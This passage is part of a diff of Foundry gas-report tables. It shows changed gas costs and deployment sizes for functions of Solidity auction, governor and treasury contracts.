    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ settleCurrentAndCreateNewAuction                      ┆ 3986            ┆ 158800 ┆ 163090 ┆ 163090 ┆ 56      │
    +│ settleCurrentAndCreateNewAuction                      ┆ 3974            ┆ 158790 ┆ 163075 ┆ 163075 ┆ 56      │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    │ timeBuffer                                            ┆ 387             ┆ 387    ┆ 387    ┆ 387    ┆ 2       │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ treasury                                              ┆ 341             ┆ 1341   ┆ 1341   ┆ 2341   ┆ 2       │
    +│ treasury                                              ┆ 352             ┆ 1352   ┆ 1352   ┆ 2352   ┆ 2       │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ unpause                                               ┆ 2408            ┆ 374521 ┆ 389513 ┆ 389513 ┆ 45      │
    +│ unpause                                               ┆ 2408            ┆ 374177 ┆ 389161 ┆ 389161 ┆ 45      │
    ╰───────────────────────────────────────────────────────┴─────────────────┴────────┴────────┴────────┴─────────╯
    ╭────────────────────────────────────────────────────────┬─────────────────┬────────┬────────┬────────┬─────────╮
    │ src/governance/governor/Governor.sol:Governor contract ┆                 ┆        ┆        ┆        ┆         │
    ╞════════════════════════════════════════════════════════╪═════════════════╪════════╪════════╪════════╪═════════╡
    │ Deployment Cost                                        ┆ Deployment Size ┆        ┆        ┆        ┆         │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ 4045061                                                ┆ 20520           ┆        ┆        ┆        ┆         │
    +│ 3930109                                                ┆ 19946           ┆        ┆        ┆        ┆         │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    │ Function Name                                          ┆ min             ┆ avg    ┆ median ┆ max    ┆ # calls │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    @@ -142,15 +155,15 @@ Test result: ok. 40 passed; 0 failed; finished in 1.97s
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    │ VOTE_TYPEHASH                                          ┆ 296             ┆ 296    ┆ 296    ┆ 296    ┆ 4       │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ cancel                                                 ┆ 1214            ┆ 7608   ┆ 8414   ┆ 13799  ┆ 5       │
    +│ cancel                                                 ┆ 1214            ┆ 7267   ┆ 7964   ┆ 13237  ┆ 5       │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ castVote                                               ┆ 1382            ┆ 27133  ┆ 29300  ┆ 30820  ┆ 37      │
    +│ castVote                                               ┆ 1382            ┆ 27014  ┆ 29171  ┆ 30691  ┆ 37      │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ castVoteBySig                                          ┆ 594             ┆ 26061  ┆ 24899  ┆ 53855  ┆ 4       │
    +│ castVoteBySig                                          ┆ 594             ┆ 26029  ┆ 24899  ┆ 53726  ┆ 4       │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ execute(address[],uint256[],bytes[],bytes32)           ┆ 17537           ┆ 17537  ┆ 17537  ┆ 17537  ┆ 3       │
    +│ execute(address[],uint256[],bytes[],bytes32)           ┆ 17310           ┆ 17310  ┆ 17310  ┆ 17310  ┆ 2       │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ execute(address[],uint256[],bytes[],bytes32)(bytes32)  ┆ 20258           ┆ 20272  ┆ 20272  ┆ 20286  ┆ 2       │
    +│ execute(address[],uint256[],bytes[],bytes32)(bytes32)  ┆ 17310           ┆ 19196  ┆ 20125  ┆ 20153  ┆ 3       │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    │ getProposal                                            ┆ 1924            ┆ 1924   ┆ 1924   ┆ 1924   ┆ 4       │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    @@ -174,9 +187,9 @@ Test result: ok. 40 passed; 0 failed; finished in 1.97s
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    │ proposalThresholdBps                                   ┆ 410             ┆ 410    ┆ 410    ┆ 410    ┆ 2       │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ proposalVotes                                          ┆ 1149            ┆ 1149   ┆ 1149   ┆ 1149   ┆ 3       │
    +│ proposalVotes                                          ┆ 737             ┆ 737    ┆ 737    ┆ 737    ┆ 3       │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ propose                                                ┆ 8813            ┆ 61039  ┆ 69284  ┆ 79791  ┆ 31      │
    +│ propose                                                ┆ 7477            ┆ 59699  ┆ 67943  ┆ 78450  ┆ 31      │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    │ queue                                                  ┆ 1334            ┆ 23753  ┆ 31192  ┆ 40192  ┆ 10      │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    @@ -205,7 +218,7 @@ Test result: ok. 40 passed; 0 failed; finished in 1.97s
    ╞════════════════════════════════════════════════════════╪═════════════════╪═══════╪════════╪═══════╪═════════╡
    │ Deployment Cost                                        ┆ Deployment Size ┆       ┆        ┆       ┆         │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ 1883434                                                ┆ 9725            ┆       ┆        ┆       ┆         │
    +│ 1880027                                                ┆ 9708            ┆       ┆        ┆       ┆         │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    │ Function Name                                          ┆ min             ┆ avg   ┆ median ┆ max   ┆ # calls │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    @@ -213,9 +226,9 @@ Test result: ok. 40 passed; 0 failed; finished in 1.97s
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    │ delay                                                  ┆ 355             ┆ 577   ┆ 355    ┆ 2355  ┆ 9       │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ execute(address[],uint256[],bytes[],bytes32)           ┆ 8885            ┆ 8885  ┆ 8885   ┆ 8885  ┆ 3       │
    +│ execute(address[],uint256[],bytes[],bytes32)           ┆ 8662            ┆ 8662  ┆ 8662   ┆ 8662  ┆ 2       │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ execute(address[],uint256[],bytes[],bytes32)(bytes32)  ┆ 11531           ┆ 11545 ┆ 11545  ┆ 11559 ┆ 2       │
    +│ execute(address[],uint256[],bytes[],bytes32)(bytes32)  ┆ 8662            ┆ 10498 ┆ 11402  ┆ 11430 ┆ 3       │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    │ fallback                                               ┆ 55              ┆ 55    ┆ 55     ┆ 55    ┆ 25      │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    @@ -258,31 +271,31 @@ Test result: ok. 40 passed; 0 failed; finished in 1.97s
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    │ VOTE_TYPEHASH                                                       ┆ 679             ┆ 679     ┆ 679     ┆ 679     ┆ 4       │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ auction()(address)                                                  ┆ 758             ┆ 1135    ┆ 1198    ┆ 1198    ┆ 14      │
    +│ auction()(address)                                                  ┆ 758             ┆ 1134    ┆ 1192    ┆ 1192    ┆ 15      │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ auction()(uint256,uint256,address,uint40,uint40,bool)               ┆ 1198            ┆ 1198    ┆ 1198    ┆ 1198    ┆ 23      │
    +│ auction()(uint40,uint40,bool,address,uint256,uint256)               ┆ 1192            ┆ 1192    ┆ 1192    ┆ 1192    ┆ 22      │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    │ balanceOf                                                           ┆ 1001            ┆ 1001    ┆ 1001    ┆ 1001    ┆ 3       │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    │ burn                                                                ┆ 883             ┆ 12715   ┆ 12715   ┆ 24548   ┆ 2       │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ cancel                                                              ┆ 1601            ┆ 6948    ┆ 6668    ┆ 14182   ┆ 6       │
    +│ cancel                                                              ┆ 1601            ┆ 6663    ┆ 6269    ┆ 13620   ┆ 6       │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ castVote                                                            ┆ 1772            ┆ 27522   ┆ 29689   ┆ 31209   ┆ 37      │
    +│ castVote                                                            ┆ 1772            ┆ 27403   ┆ 29560   ┆ 31080   ┆ 37      │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ castVoteBySig                                                       ┆ 1014            ┆ 26481   ┆ 25319   ┆ 54274   ┆ 4       │
    +│ castVoteBySig                                                       ┆ 1014            ┆ 26449   ┆ 25319   ┆ 54145   ┆ 4       │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ createBid                                                           ┆ 4504            ┆ 16244   ┆ 11477   ┆ 28405   ┆ 71      │
    +│ createBid                                                           ┆ 4391            ┆ 16172   ┆ 11480   ┆ 28330   ┆ 71      │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    │ delay                                                               ┆ 738             ┆ 960     ┆ 738     ┆ 2738    ┆ 9       │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ deploy                                                              ┆ 6147            ┆ 1919053 ┆ 1629729 ┆ 7538521 ┆ 73      │
    +│ deploy                                                              ┆ 6147            ┆ 1919017 ┆ 1629692 ┆ 7538484 ┆ 73      │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    │ duration                                                            ┆ 717             ┆ 717     ┆ 717     ┆ 717     ┆ 5       │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ execute(address[],uint256[],bytes[],bytes32)                        ┆ 9242            ┆ 13569   ┆ 13569   ┆ 17896   ┆ 6       │
    +│ execute(address[],uint256[],bytes[],bytes32)                        ┆ 9019            ┆ 13344   ┆ 13344   ┆ 17669   ┆ 4       │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ execute(address[],uint256[],bytes[],bytes32)(bytes32)               ┆ 11892           ┆ 16271   ┆ 16271   ┆ 20650   ┆ 4       │
    +│ execute(address[],uint256[],bytes[],bytes32)(bytes32)               ┆ 9019            ┆ 15208   ┆ 14730   ┆ 20517   ┆ 6       │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    │ fallback                                                            ┆ 4942            ┆ 4942    ┆ 4942    ┆ 4942    ┆ 25      │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    @@ -304,13 +317,13 @@ Test result: ok. 40 passed; 0 failed; finished in 1.97s
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    │ initialize((address,uint256,uint256)[],bytes,address,address)       ┆ 237618          ┆ 540410  ┆ 237618  ┆ 6086313 ┆ 72      │
